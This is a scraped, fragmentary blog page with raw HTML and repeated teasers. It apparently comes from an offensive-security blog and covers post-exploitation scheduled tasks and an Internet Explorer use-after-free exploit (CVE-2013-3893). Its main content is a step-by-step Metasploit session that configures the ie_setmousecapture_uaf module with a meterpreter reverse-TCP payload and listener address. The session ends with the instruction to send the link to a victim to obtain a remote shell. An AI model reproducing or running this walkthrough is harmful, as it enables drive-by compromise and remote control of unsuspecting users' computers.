href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioPfF1WweVpTYTCx6J_1PEetjNxVtOsMPzSF-tJgNEEOvKGpPBQolsv185mHQF88odgJutJP_j8ZFzyL_WIxhuiCoEvDa4qunrENtqSl3L3ljffjWVTZKhRHDJumkX5v3wrEYXUiAlA0P0/s1600/schtasks.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="schedule-task" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioPfF1WweVpTYTCx6J_1PEetjNxVtOsMPzSF-tJgNEEOvKGpPBQolsv185mHQF88odgJutJP_j8ZFzyL_WIxhuiCoEvDa4qunrENtqSl3L3ljffjWVTZKhRHDJumkX5v3wrEYXUiAlA0P0/s1600/schtasks.PNG" title="schedule-task" /></a></div> You can also use different option like ONIDLE, ONLOGON, and ONSTART & execute different binary according to your need.</div>

Schedule Task in windows after Exploitation.

Recently in Derbycon mubix & carnal0wnage present "windows attacks at is the new black ". It`s really great presentation . Y...

+ Read more »

Exploit For All IE version(CVE-2013-3893).

<div dir="ltr" style="text-align: left;" trbidi="on">Recently the public has shown a lot of interest in the new Internet Explorer vulnerability (<a class="jive-link-external-small" href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-3893">CVE-2013-3893</a>) that has been exploited in the wild, which was initially discovered in Japan. At the time of this writing there is still no patch available, but there is still at least a temporary fix-it that you can apply from Microsoft, which <a class="jive-link-external-small" href="http://technet.microsoft.com/en-us/security/advisory/2887505">can be downloaded here</a>. This module exploits a use-after-free vulnerability that currents targets Internet Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11. It was initially found in the wild in Japan, but other regions such as English, Chinese, Korean, etc, were targeted as well. For more technical Detail view metasploit blog <a href="https://community.rapid7.com/community/metasploit/blog/2013/09/30/metasploit-releases-cve-2013-3893-ie-setmousecapture-use-after-free" target="_blank">here</a> .  The Metasploit module currently can be only tested on Internet Explorer 9 on Windows 7 SP1 with either Office 2007 or Office 2010 installed, msf > use exploit/windows/browser/ie_setmousecapture_uaf msf exploit(ie_setmousecapture_uaf) > set srvhost 192.168.56.1 srvhost => 192.168.56.1 msf exploit(ie_setmousecapture_uaf) > set uripath / uripath => / msf exploit(ie_setmousecapture_uaf) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(ie_setmousecapture_uaf) > set lhost 192.168.56.1 lhost => 192.168.56.1 msf exploit(ie_setmousecapture_uaf) > set lport 443 lport => 443 msf exploit(ie_setmousecapture_uaf) > run [*] Exploit running as background job. [*] Started reverse handler on 192.168.56.1:443 [*] Using URL: http://192.168.56.1:8080/ [*] Server started. Send this link to victim. As soon as he open link you will get meterpreter shell. <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX08Ta-ji2g_pRECieYdXZUfNw6cu9UFklfsEzw_WsAIf1RgGzIQOSYWqjE5m3LlKVxhwrkWUVFwMapAvlGzWbx4dA-ozwgP_4ho3qdOiy0Grv2IhafrNoUD3Ooxc2l23sEOZu0G-50JQb/s1600/ie_user_after_Free.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="exploit-for-CVE-2013-3893" border="0" height="178" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgX08Ta-ji2g_pRECieYdXZUfNw6cu9UFklfsEzw_WsAIf1RgGzIQOSYWqjE5m3LlKVxhwrkWUVFwMapAvlGzWbx4dA-ozwgP_4ho3qdOiy0Grv2IhafrNoUD3Ooxc2l23sEOZu0G-50JQb/s400/ie_user_after_Free.PNG" title="IE-exploit" width="400" /></a></div> </div>

Exploit For All IE version(CVE-2013-3893).

Recently the public has shown a lot of interest in the new Internet Explorer vulnerability ( CVE-2013-3893 ) that has been exploited in the...

+ Read more »